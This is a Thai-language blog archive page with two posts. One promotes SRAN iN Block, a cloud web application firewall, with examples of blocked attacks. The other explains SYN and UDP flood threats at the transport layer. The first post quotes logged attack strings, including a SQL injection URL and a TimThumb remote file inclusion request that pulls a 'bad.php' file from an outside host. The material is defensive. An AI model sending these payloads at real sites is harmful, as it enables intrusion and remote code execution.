Pages

แสดงบทความที่มีป้ายกำกับ DDoS DoS แสดงบทความทั้งหมด
แสดงบทความที่มีป้ายกำกับ DDoS DoS แสดงบทความทั้งหมด

วันอังคาร, กุมภาพันธ์ 4

การป้องกัน DDoS/DoS สำหรับเว็บไซต์สาธารณะ

การป้องกัน DDoS/DoS สำหรับเว็บไซต์

เรื่อง DDoS/DoS เป็นเรื่องป้องกันยากแต่เราสามารถลดความเสี่ยงได้ ซึ่งทางทีมงานเราได้คิดค้นเทคนิคเรียกว่า
SRAN i[n] Block เป็นบริการหนึ่งของบริษัทโกลบอลเทคโนโลยี อินทรีเกรดเทค (www.gbtech.co.th) จัดทำขึ้นมาเพื่อวัถตุประสงค์ป้องกันเว็บไซต์ในประเทศไทยให้ปลอดภัยจากภัยคุกคามทางไซเบอร์ อีกทั้งเสริมประสิทธิภาพให้เว็บไซต์ที่ใช้บริการมีการเข้าถึงข้อมูลได้อย่างรวดเร็ว ด้วยนิยามที่ว่า “Fast and Secure” โดยการให้บริการผ่านระบบคลาวด์คอมพิวติ้ง (Cloud Computing) โดยผู้ใช้งานไม่ต้องลงทุนด้านฮาร์ดแวร์และซอฟต์แวร์ และใช้งานได้ทุกระบบปฏิบัติการ ไม่ต้องเปลี่ยนค่าโค้ดของเว็บไซต์ เพียงแค่ปรับเปลี่ยนค่าดีเอ็นเอส (DNS) ในเครื่องเว็บเซิร์ฟเวอร์ ใช้เวลาไม่เกิน 10 นาที เว็บไซต์ของหน่วยงานท่านก็จะมีความมั่นคงปลอดภัยทางข้อมูลมากขึ้น หลีกเลี่ยงภัยคุกคามที่เข้าถึงเว็บไซต์ได้อย่างมีประสิทธิภาพ ประหยัดงบประมาณในการลงทุนป้องกันภัยเป็นลักษณะ Cloud Computer
ส่วนติดตั้งที่ Site งานเราจะใช้ร่วมกับอุปกรณ์ Net Optics รุ่น iBypass รวมเรียกบริการว่า





ด้วยเทคโนโลยีเครือข่ายอัจฉริยะที่ทางทีมงาน SRAN ได้พัฒนาขึ้นจะทำให้เว็บไซต์ที่ใช้บริการ iBlock สามารถหยุดยั้งภัยคุกคามที่เกิดขึ้นจากการโจมตีผ่านช่องทางเว็บแอฟลิเคชั่น (Web Application hacking) ไม่ว่าเป็นการโจมตีที่พยายามเข้าถึงระบบฐานข้อมูล , การโจมตี DDoS/DoS และอื่นๆ รวมมากกว่า 1,000 รูปแบบการโจมตี รวมถึงมีการให้บริการเสริมเพื่อทำการปิดกั้นการเข้าถึงข้อมูลด้วยชุดไอพีแอดเดรสแบบอำพรางตนเอง (Tor Network)  ซึ่งทำให้เว็บไซต์ของหน่วยงานมีความปลอดภัยจากนักโจมตีระบบมากขึ้น 

ภาพแสดงขั้นตอนการทำงานของ IN Block Services
ขั้นตอนที่ 1 ก่อนใช้บริการ SRAN IN Block เว็บไซต์ทั่วไปได้ถูกออกแบบมาให้มีการติดต่อสื่อสารแบบ Client – Server กล่าวคือมีการติดต่อผ่านอินเทอร์เน็ตแล้วเข้าเยี่ยมชมเนื้อหาบนเว็บไซต์ได้โดยตรง  เมื่อมีการจดทะเบียนชื่อโดเมนแนม และค่าไอพีแอดเดรสที่ได้จากผู้ให้บริการอินเทอร์เน็ต (ISP : Internet Services Provider) ซึ่งเป็นการติดต่อสื่อสารเว็บไซต์ทั่วไปโดยผู้ใช้งานจะสามารถเรียกข้อมูลได้โดยตรงโดยที่ไม่สามารถแยกแยะได้ว่าผู้ใช้งานดังกล่าวติดเชื้อหรือมีลักษณะถึงการโจมตีเว็บไซต์ เจาะระบบข้อมูล ซึ่งจะเห็นได้ว่าวิธีนี้ไม่ได้ช่วยในการป้องกันภัยที่อาจเกิดขึ้น ต่อมาได้มีการคิดค้นวิธีการป้องกันโดยนำเอาอุปกรณ์ป้องกันหรือเรียกว่า Web Application Firewall ที่เป็นฮาร์ดแวร์ Appliance มาติดตั้งอยู่หน้าเว็บไซต์ซึ่งกรณีนี้จะทำให้ผู้ใช้งานต้องลงทุนในการติดตั้งและซื้ออุปกรณ์มาป้องกันภัยด้วยงบประมาณสูง เป็นเหตุผลให้เกิดบริการ SRAN IN Block ขึ้นมาเพื่อให้เว็บไซต์มีความปลอดภัยและเข้าถึงข้อมูลรวดเร็ว อีกทั้งประหยัดงบประมาณไม่ต้องลงทุนซื้อฮาร์ดแวร์และซอฟต์แวร์

ขั้นตอนที่ 2 เมื่อใช้บริการ SRAN IN Block ผู้ให้บริการเว็บไซต์ต้องทำการเปลี่ยนค่า DNS ในเครื่องเว็บเซิร์ฟเวอร์ เพื่อชี้ค่าไปที่ SRAN IN Block Center ซึ่งจัดทำบนระบบคลาวด์คอมพิวติ้ง (Cloud Computing) เมื่อมีการอัพเดทค่า DNS ใหม่ ผู้ใช้งานทั่วไปเมื่อเปิดหน้าเว็บเพจที่ใช้บริการ SRAN IN Block ก็จะเข้าถึงข้อมูลได้อย่างปกติ แต่เพิ่มการป้องกันภัยและมีความรวดเร็วขึ้น “Fast and Secure”

ขั้นตอนที่ 3 ด้วยคุณสมบัติในการป้องกันการโจมตีระบบ (Web Application Firewall) , การอำพรางค่าไอพีแอดเดรสเพื่อวัตถุประสงค์โจมตีเว็บไซต์ ก็จะไม่สามารถทำได้โดยสะดวก ด้วยเทคโนโลยี SRAN IN Block จะทำให้ลดความเสี่ยงที่จะเกิดขึ้นต่อเว็บไซต์หน่วยงานของท่านได้ และมีการจัดเก็บค่า Log File เพื่อให้สอดคล้องกับกับกฎหมายในประเทศไทยตามพระราชบัญญัติว่าด้วยการกระทำความผิดเกี่ยวกับคอมพิวเตอร์อีกด้วย


I[N] block จะทำให้เว็บไซต์และโดเมนของคุณปลอดภัยขึ้นด้วยคุณสมบัติดังต่อไปนี้

  1. ระบบรักษาความมั่นคงปลอดภัยทางข้อมูล (Web Application Security) โดยมีรูปแบบการป้องกันตามมาตรฐาน OWASP และรูปแบบการโจมตีมากกว่า 1,000 รายการ ซึ่งมีการโจมตีหลักๆ ที่เป็นภัยอันตรายต่อเว็บไซต์ดังนี้
  • การป้องกันการโจมตีลักษณะ XSS (Cross site scripting)
  • การป้องกันการโจมตีลักษณะ
  • การป้องกันการโจมตีลักษณะ RFI (Remote Files Inclusion) และการยิงโค้ด Exploit ที่มีผลกระทบต่อระบบ
  • การป้องกันการใส่ค่า character in request ที่ส่งผลกระทบต่อระบบเว็บไซต์
  • การป้องกันการพยายามเข้าถึงระบบโดยการสุ่มเดารหัสผ่าน (Brute Force Password)
  • การป้องกันการโจมตีชนิด DDoS/DoS
  • การป้องกันจากการใช้เครื่องมือตรวจสอบช่องโหว่(Security Scanner)
  • การป้องกันสแปมและบอทเน็ตในการเข้ามาสร้างความเสียหายแก่เว็บไซต์
  • มีความสามารถตรวจจับ bot/crawler ที่เข้ามาสอดแนมข้อมูลในเว็บไซต์และแยกประเภทของบอทได้ว่ามีที่มาจากที่ไหน
  1. ระบบป้องกันไอพีแอดเดรสที่ใช้ในการอำพรางตัวตน
เป็นฟังชั่นหนึ่งที่ช่วยลดความเสี่ยงจากนักโจมตีระบบที่มักจะต้องอำพรางค่าไอพีแอดเดรสของตนเองเพื่อทำการเจาะระบบ ทาง SRAN iBlock จึงจัดทำระบบ "IP Reputation" เพื่อทำการคัดกรองค่าไอพีแอดเดรสที่เคยมีประวัติการโจมตี ไม่ว่าเป็น ดังนี้
  • ไอพีที่เข้าบัญชีดำ ที่ติดในฐานข้อมูลกับหน่วยงานกลางที่เฝ้าระวังการโจมตี
  • ไอพีจากการใช้โปรแกรมทอร์เน็ตเวิร์ค (Tor network)
  • ไอพีที่เปิดมาใช้ค่าพร็อกซี่เซิร์ฟเวอร์ที่เปิดใช้แบบสาธารณะ จะมีการอัพเดทข้อมูลทุกวัน (Daily update)
  1. ระบบ CDN (Content Delivery Network)
มีการวางระบบ เครือข่ายอัจฉริยะ จะติดตั้งระบบ ทำการเก็บค่าเรียกใช้งานหากมีการเรียกซ้ำก็สามารถเข้าถึงข้อมูลได้ทันที อีกทั้งยังตั้งระบบ SRAN iBlock อยู่ในประเทศที่สำคัญตามจุดต่างๆ ที่มีผู้ใช้บริการทั่วโลก ได้แก่ประเทศญี่ปุ่น ประเทศอังกฤษ ประเทศสหรัฐอเมริกา ประเทศสิงค์โปรและประเทศไทย เพื่อเพิ่มความเร็วในการเรียกดูเนื้อหาเว็บไซต์ในจุดที่ใกล้ที่สุด ของผู้ใช้งานเยี่ยมเข้าชมเว็บไซต์
  1. ระบบจัดเก็บบันทึกข้อมูลจราจร (Log Files)
มีการจัดเก็บ บันทึกข้อมูลจราจรหรือ ตามพระราชบัญญัติว่าด้วยการกระทำความผิดเกี่ยวกับคอมพิวเตอร์พร้อมทั้งสามารถสืบค้นหาข้อมูลลักษณะพฤติกรรมค่าไอพีแอดเดรส เพื่อใช้ในการหาผู้กระทำความผิดได้อย่างสะดวกและรวดเร็ว
โดยข้อมูลใน Log file สามารถบอกค่าได้ทั้ง 5W คือ Who , What , Where , When , Why ประกอบด้วย
  • วันเวลา(When)
  • ค่าไอพีแอดเดรส (Who)
  • สถานที่ ได้แก่ ชื่อผู้ให้บริการ ชื่อสถานที่ของค่าไอพีแอดเดรส ผ่านเทคนิค และการระบุพิกัดตำแหน่งผ่านแผนที่ภูมิสารสนเทศ (Where)
  • ค่าการเรียกค่าในเว็บไซต์ GET / POST และลักษณะการโจมตีเว็บไซต์ (What)
  • ลักษณะการโจมตีเว็บไซต์เมื่อเทียบฐานข้อมูลช่องโหว่ และภัยคุกคามที่จะเกิดขึ้นต่อเว็บไซต์ที่ใช้บริการ(Why)


    ตัวอย่างการบริการ

    1. ตัวอย่างการแสดงค่า Log file ของเว็บ www.gbtech.co.th ที่ใช้บริการ SRAN In Block
       

       ภาพตัวอย่างการแสดงค่า Log file การเข้าถึงข้อมูลเว็บไซต์ทั้งการเข้าถึงข้อมูลที่ปกติไม่มีการโจมตีและการพบการโจมตี ซึ่งค่าที่แสดงใน Log สามารถระบุได้ 5W
      Who
      What
      IPAddress
      ค่าGET/POST ที่ URL path
      Where
      สถานที่ชื่อ ISP, ชื่อหน่วยงาน ชื่อเมืองและชื่อประเทศ
      When
      เวลา
      Why
      ลักษณะการโจมตีเว็บไซต์เมื่อเทียบฐานข้อมูลช่องโหว่และภัยคุกคามที่จะเกิดขึ้นต่อเว็บไซต์ที่ใช้บริการ
    2. ตัวอย่างการปิดกั้นการเข้าถึงเว็บไซต์จากการโจมตี ด้วยการโจมตี SQL injection
      ตัวอย่างนี้เป็นข้อมูลจริงที่เกิดขึ้นกับเว็บไซต์ที่ใช้บริการ SRAN IN Block ได้แก่เว็บไซต์ www.gbtech.co.th เมื่อมีการเรียกข้อมูลที่มีลักษณะเป็นการโจมตีระบบ จากตัวอย่างในภาพจะเห็นว่านักโจมตีระบบใช้เทคนิคที่นิยมโจมตีเว็บไซต์หน่วยงานราชการในประเทศไทยคือการโจมตีแบบ “SQL injection” เมื่อนักโจมตีระบบใช้ชุดคำสั่งป้อนเข้าใส่ช่อง URL ในบราวเซอร์ ดังนี้ http://www.gbtech.co.th/site/html/search.php?lang=1-15UnION/**/SElecT%201,2,3,4... เมื่อคำสั่งเข้าสู่เว็บไซต์ที่ใช้บริการ SRAN IN Block จะปรากฏข้อความแจ้งเตือนไปยังนักโจมตีระบบ โดยมีข้อความที่หน้าจอ โดยมีทั้งภาษาไทยและอังกฤษว่า ภาษาอังกฤษ “You are not authorized to access this page. The system detected a possible attempt to compromise security.” ภาษาไทย “ขออภัยที่ไม่สามารถให้คุณเข้าเยี่ยมชมเว็บไซต์ได้ เพราะการเรียกข้อมูลของคุณอาจส่งผลต่อความปลอดภัยเว็บไซต์และมีความเสี่ยงต่อการกระทำความผิดตามพระราชบัญญัติว่าด้วยการกระทำความผิดเกี่ยวกับคอมพิวเตอร์”



       ภาพแสดงหน้าจอเมื่อมีการโจมตีเว็บไซต์ผู้ใช้บริการจะมีการปิดกั้นและขึ้นข้อความเตือน เมื่อมีการโจมตีที่ตรงตามเงื่อนไขก็จะพบว่า นักโจมตีระบบจะไม่สามารถเข้าถึงหน้าเพจและข้อมูลในเว็บไซต์ในลักษณะการเรียกข้อมูลนี้ได้ และในหน้าบริการจัดการ SRAN IN Block ก็จะพบ Log file ที่เห็นที่มาของการโจมตีดังนี้
       ภาพ Log file ที่พบการโจมตีระบบซึ่งจะสามารถระบุวันเวลา ค่าไอพีแอดเดรสนักโจมตีระบบ ระบบปฏิบัติการของนักโจมตีระบบ และ ชนิดบราวเซอร์ที่ใช้ในการโจมตีระบบและสามารถใช้เป็นหลักฐานในการดำเนินคดีความได้


    3. ตัวอย่างการปิดกั้นการเข้าถึงเว็บไซต์จากการโจมตี Remote Exploit ผ่านช่องโหว่ของ Wordpress
      เนื่องจาก Wordpress เป็น CMS (Content Management System) ที่คนไทยและทั่วโลกนิยมใช้กันในการจัดทำเป็นเว็บไซต์หน่วยงานเพื่อเผยแพร่ข้อมูลกันเป็นจำนวนมาก ตัวอย่างการโจมตี “Virtual just in Time Patch : TimThumb Remote Code Execution Vulnerability Exploit attempt” ซึ่ง TimThumb เป็น Plugins หนึ่งของ Wordpress เข้าโจมตีที่ http://www.gbtech.co.th/wp-content/themes/TheCorporation/timthumb.php?src=http%3A%2F%2Fimg.youtube.com.agmcmortgage.com%2Fbad.php ก็จะพบหน้าแจ้งเตือนไปยังนักโจมตีระบบและระงับการเข้าถึงข้อมูลเว็บไซต์
       ภาพหน้าจอแจ้งเตือนต่อนักโจมตีระบบเมื่อมีการพยายามโจมตีระบบด้วยการใส่โค้ดผ่านช่องโหว่ Wordpress
      แสดงค่าใน Log file จะพบวันเวลา และค่าไอพีแอดเดรสของนักโจมตีระบบ
       ภาพ Log file ที่พบการโจมตีระบบซึ่งจะสามารถระบุวันเวลา ค่าไอพีแอดเดรสนักโจมตีระบบ ระบบปฏิบัติการของนักโจมตีระบบ และ ชนิดบราวเซอร์ที่ใช้ในการโจมตีระบบได้

    4. ตัวอย่างการค้นหาข้อมูลการโจมตีจาก Log file
      เมื่อผู้ใช้บริการ SRAN IN Block Services ต้องการค้นหาว่ามีค่าไอพีแอดเดรสของนักโจมตีระบบเว็บไซต์เกิดขึ้นเมื่อวันเวลาใดและเหตุการณ์อะไรนั้น สามารถค้นหาได้ผ่านระบบสืบค้นซึ่งจะทำให้สืบหาการกระทำความผิดทางเทคโนโลยีได้อย่างสะดวกและรวดเร็วขึ้น
    5. ตัวอย่างการค้นหา การโจมตีชนิด Cross Site Scripting

       ภาพตัวอย่างการค้นหาความพยายามที่โจมตีเว็บไซต์ชนิด Cross site Scripting

    6. ต้วอย่างการแสดงผลภาพรวมการโจมตีผ่านแผนที่ภูมิสารสนเทศ


       ภาพการแสดงแผนที่การโจมตีจะทำให้ผู้ใช้บริการทราบว่าเว็บไซต์ของหน่วยงานเรานั้นถูกโจมตีจากประเทศใดบ้างซึ่งหากสีเข้มพบว่ามีการโจมตีสูงจากภาพพบว่าเว็บไซต์ www.gbtech.co.th ถูกโจมตีจากประเทศไทยเป็นจำนวน 2,373 ครั้ง ข้อมูลของวันที่ 18 มิถุนายน 2556

    7. รายงานภาพรวมการโจมตีเว็บไซต์ที่ใช้บริการ SRAN IN Block

       ภาพลำดับการโจมตีเว็บไซต์ด้วยเทคนิคต่างๆ 20 อันดับโดยวัดค่าจากจำนวนครั้งที่โจมตีจากมากไปน้อย
    8. การป้องการเข้าถึงข้อมูลเว็บไซต์จากการอำพรางค่าไอพีแอดเดรส 


       ภาพเมื่อทำการเปิดโปรแกรม Tor network เพื่อจะทำการอำพรางไอพีแอดเดรสของตนเอง จากภาพจะได้ค่า IP คือ 173.254.216.69 และเมื่อทำการเปิดเว็บไซต์ www.gbtech.co.th ก็จะถูกปิดกั้นและขึ้นข้อความเตือนเนื่องจากมีการอำพรางไอพีแอดเดรส

      ปัจจุบันทั้งหมดอยู่ในบริการเรียกว่า
       ที่ทางกลุ่ม SRAN Dev นำเสนอเพื่อเป็นทางเลือกหนึ่งในสินค้าบริการจากประเทศไทย

วันพฤหัสบดี, กันยายน 17

ภัยคุกคามตาม Layer ทั้ง 7 ตอนที่ 2

ที่กล่าวไปแล้วในตอนที่แล้วเราพูดถึงภัยคุกคามที่เกิดขึ้นตาม OSI 7 layer ผมทำการเรียงลำดับมาตั้งแต่ Layer 1 - Layer 3 ไปแล้ว ต่อจากนี้เราจะมาทำความเข้าใจภัยคุกคามตาม Layer ที่เหลืออีก

Layer 4 : Transport มี Protocol ที่ใช้ใน Layer นี้คือ TCP และ UDP การเชื่อมต่อสื่อสารเป็นชนิด End-to-end connection
TCP คือต้องการความถูกต้องของการรับส่งข้อมูล ยืนยันจากการติดต่อแบบ 3 way handshake
SYN , ACK , FIN รายละเอียดเพิ่มเติมอ่านได้ที่
Transmission Control Protocol
ประเภท Application Protocol ที่มีการเชื่อมต่อที่ใช้ TCP ได้แก่ Web (HTTP, HTTPS) , การ Remote ทางไกล เช่น Telnet (23) , SSH (22)
Mail เช่น SMTP (25) , POP3 (110) เป็นต้น
Port ทั้งหมดของ TCP มี 65,535 port services
UDP คือการติดต่อที่อาศัยความเร็วในการรับส่งข้อมูลไม่เน้นความถูกต้องของข้อมูล
ประเภท Application protocol ที่ใช้ UDP ได้แก่ syslog (514) , SNMP (161) , IRC (6667-7000)
เป็นต้น Port ทั้งหมดของ UDP มี 65,535 port services
ดังนั้นวิธีการโจมตีผ่าน Layer 4 โดยอาศัย Protocol TCP และ UDP นั้นจึงมีหลากหลายหนทางในการปฏิบัติ

ทางเป็นชนิด TCP ก็อาศัยการติดต่อสื่อสารระหว่างเครื่องให้ขาดความสมบูรณ์ในการเชื่อมต่อ เช่น ส่งค่า SYN อย่างเดียวแทนที่จะครบ SYN --> SYN ACK ---> ACK --> FIN เพื่อให้ครบ ESTABLISHED


ภาพการติดต่อที่สมบูรณ์ จาก command line บนเครื่องผู้เขียน netstat -an ลองทำตามได้ครับ

ถ้าติดต่อไม่สมบูรณ์ จากการโจมตีที่เรียกว่า SYN Flood เป็นรูปแบบหนึ่งของการทำ DoS (Denial of Services)

ภาพจาก (tula.bofh.ru/articles/539)

การทำ DDoS/DoS ชนิด SYN flood สามารถมองได้ 2 มุม ได้แก่

มุมภายในเครือข่ายเดียวกัน หมายถึงเครื่องภายในยิงกันเอง ซึ่งลักษณะนี้อาจเกิดจากติดเชื้อไวรัสคอมพิวเตอร์ชนิด worm บางชนิดที่ทำการเกิดอาการผิดปกติได้ในการรับส่งข้อมูล หรืออาจจะเกิดจากความตั้งใจคนบุคคลที่การยิง SYN flood ไปยังเครื่องเป้าหมาย

ในมุมภายในนี้ สามารถ Radom port ในการส่งค่า SYN Flood ได้สะดวกเนื่องจากมีทางเลือกให้ถึง 65,535 port ทีเดียว ดังนั้นจึงเป็นที่ทำให้ผู้ดูแลระบบต้องมีเครื่องมือในการเฝ้าระวังในจุดนี้ด้วย และหากเครื่องคอมพิวเตอร์ (client) มีการใช้ Host Base Firewall , Host Base IPS ก็สามารถป้องกันได้ระดับหนึ่ง ที่บอกว่าได้ระดับหนึ่งเนื่องจาก ซอฟต์แวร์ป้องกันในระดับ Host base ต้องอาศัยการ CPU และ RAM รวมถึงการต่อต้านการโจมตีของระบบปฏิบัติการ (OS) ซึ่งมีรายละเอียดพอสมควรหากให้อธิบายเป็นระดับ Kernel และการปรับแต่งค่า system ภายใน OS อยู่หากเครื่องคอมพิวเตอร์ที่มีคุณสมบัติทางกายภาพไม่เหมาะสมหรือเป็นรุ่นเก่าการประมวลผลช้าถึงแม้จะมีระบบป้องกันที่ดี หากมีการโจมตีจำนวนมากและเป็นชนิด DDoS (Distributed Denial of Service) เข้าร่วมแล้วล่ะก็มีโอกาส CPU สูงและทำให้เครื่องอืดพร้อมใช้งานไม่ได้ตามมา

ส่วนมุมภายนอก คือ ยิงค่า SYN Flood จากเครื่องผู้ไม่หวังดีไปที่เครื่องเป้าหมายที่ห่างไกลออกนอกระบบเครือข่าย ในกรณีต้องมีการทำการ scan port เครื่องปลายทางเสียก่อนถึงจะร่วงรู้ว่ามีการเปิดค่า port services ที่เป็น TCP หรือไม่ ส่วนใหญ่มักจะยิงค่า SYN Flood ผ่าน Application Protocol ที่ทราบว่ามีการใช้งานอยู่เช่น HTTP Protocol (80) ซึ่งเป็นการติดต่อแบบ TCP เช่นกัน ซึ่งเป็นส่วนใหญ่ที่นักโจมตีไม่อยากเสียเวลาในการ scan port ทั้งหมด (65,535 TCP และ 65,535 UDP) เนื่องจากในมุมภายนอกมักมีการกำหนดช่องทางการเข้าถึงจำกัด แต่ที่รู้กันคือต้องเปิด port 80 เป็นอย่างแน่นอน

การยิงในมุมภายนอก นั้นสามารถป้องกันได้โดยใช้อุปกรณ์ Network Firewall ที่เป็นชนิด State ful inspection หรือ Network IPS ก็จะสามารถป้องกันได้


แล้ว UDP ล่ะจะเกิด SYN Flood ได้หรือไม่ ? คำตอบคือไม่ได้ เพราะ UDP ไม่มีการเชื่อมต่อแบบ TCP

ภาพนี้เป็นโครงสร้างของการติดต่อแบบ TCP

แล้วจะมีการโจมตี UDP Flood หรือไม่ ? มีและเป็นที่นิยมในยุคหลังๆมากขึ้น โดยเฉพาะไวรัสคอมพิวเตอร์ชนิด worm ที่มักโจมตีด้วยการอาศัย Protocol TCP และ UDP

หากในระบบเครือข่ายภายในองค์กร มีการระบบเฝ้าระวังภัย และพบว่ามีการติดต่อค่า UDP มากกว่า TCP แล้วนั้นต้องตั้งข้อสงสัยไว้ก่อนว่าอาจจะมีเหตุการณ์ไม่พึ่งเกิดขึ้นได้

ส่วนผู้ดูแลระบบ Core Router ที่จำเป็นต้องเปิดค่า UDP จาก SNMP เพื่อใช้ในการ Monitor ความเสรียฐภาพของอุปกรณ์ ก็ต้องระวังให้มากเนื่องจาก SNMP อาจถูกโจมตีจากผู้ไม่หวังดีได้ ดังนั้นควรตั้งค่า community string สำหรับ SNMP เพื่อไม่ให้นักโจมตีระบบ scan port จากภายนอกและทำการส่งค่า UDP Flood มาสู่อุปกรณ์ Router , Switch เราได้จากโลกภายนอก ซึ่งทั้งนี้ Router / Switch นั้นต้องมี IP Address ที่เป็น IP จริง ถึงจะมีการโจมตีผ่านได้ โดยปกติแล้ว Core Router ก็ต้องมี Interface ที่แสดงค่า IP จริงได้อยู่แล้วหากมีผู้ไม่หวังดีทราบถึง IP ของ Router และทำการ scan port ขึ้นก็อาจทำให้เกิดการโจมตีได้ ขึ้นกับการป้องกันของผู้ดูแลระบบว่ามีความตระหนักในเรื่องนี้มากน้อยแค่ไหน

ส่วนค่า Syslog ล่ะจะทำการส่งค่าออกไปข้างนอกผ่าน Internet ได้หรือไม่ ? คำตอบว่าได้ แต่ควรผ่านอุปกรณ์เฉพาะที่ใช้ในการส่งค่า syslog เช่น SIEM (Security Information Event Management) หรืออุปกรณ์อื่นๆ ที่ใช้ในการส่งโดยเฉพาะ ไม่ควรส่งผ่านอุปกรณ์ Router หรือ Switch โดยตรงเพราะอาจถูก scan port จากทางไกลและอาศัย port services ที่ส่งในเป็นเครื่องมือในการโจมตี DDoS/DoS ได้

ดังนั้นการส่งค่า syslog ที่เป็น UDP ออกสู่ข้างนอกจึงควรมีระบบการส่งให้มีความปลอดภัย และไม่มีผลกระทบกับ Bandwidth ในองค์กรนัก ทั้งนี้ต้องเกิดจากการออกแบบจากผู้เชี่ยวชาญด้านนี้โดยตรง

มาถึงตรงนี้ ก็จะพบว่าภัยคุกคามที่เกิดจาก Transport Layer นั้นมักอาศัยช่องทาง TCP , UDP โดยส่วนใหญ่จะเป็นการโจมตีแบบ DDoS/DoS เชื่อมกับ Application protocol ที่เราๆท่านๆ ได้เปิดใช้ขึ้นเองทั้งมุมภายในและมุมภายนอกนั้นแหละ หากเป็นมุมภายนอกเราปิด Port services ที่ไม่จำเป็นต้องใช้ได้ก็จะปลอดภัยขึ้น ปิดจากอะไรก็ปิดจาก Network Firewall ที่เราควรจะมีไว้ทุกองค์กรนั้นเอง

ส่วนมุมภายใน วิธีที่ง่ายที่สุดคือลงโปรแกรมที่จำเป็นเท่านั้นบนเครื่องคอมพิวเตอร์ หากลงโปรแกรมมาก ก็ทำให้มีการเปิด port services มากเป็นเงาตามตัว ทำให้เพื่อนร่วมงานหรือ Hacker ในองค์กร ที่ร้อนวิชาอาจโจมตีท่านได้เช่นกัน โชคไม่ดีอาจเป็นแหล่งเพาะเชื้อที่ทำให้ไวรัสคอมพิวเตอร์เข้าถึงเครื่องคอมพิวเตอร์ได้ง่ายขึ้นอีก ใครที่ลงโปรแกรมเกมส์ โปรแกรมโหลดหนังผ่าน P2P ก็ควรใตร่ตรองในเรื่องนี้ให้มากขึ้น

ในตอนหน้าผมขอรวบ Layer 5,6 และ 7 เป็นเรื่องเดียวกัน ซึ่งถือได้ว่า Layer หลังนี้เป็นจุดเสี่ยงภัยที่มีการเข้าถึงระบบได้ง่ายและเป็นที่นิยมจากเทคนิคการโจมตีต่างๆในยุคปัจจุบันเป็นอย่างมาก

Nontawattana Saraman

SRAN Development Team ตอนนี้ขอทำการโปรโมทเทคโนโลยีใหม่ที่ทางทีมวิจัยพัฒนา SRAN ได้พัฒนาขึ้นเพื่อช่วยในการเฝ้าระวังภัยคุกคามที่เกิดขึ้นภายในองค์กร ชื่อ SRAN Light รายละเอียด http://sran.org/q ซึ่งเทคโนโลยีตัวนี้ช่วยให้เรารู้ทันภัยคุกคามได้ชนิดที่ไม่จำเป็นต้องเป็นผู้เชี่ยวชาญ

นนทวรรธนะ สาระมาน
Nontawattana Saraman
09/09/09

เนื้อหาบทความที่เกี่ยวข้อง ภัยคุกคามตาม Layer ทั้ง 7 ตอนที่ 1
รายละเอียด Port Number และความหมาย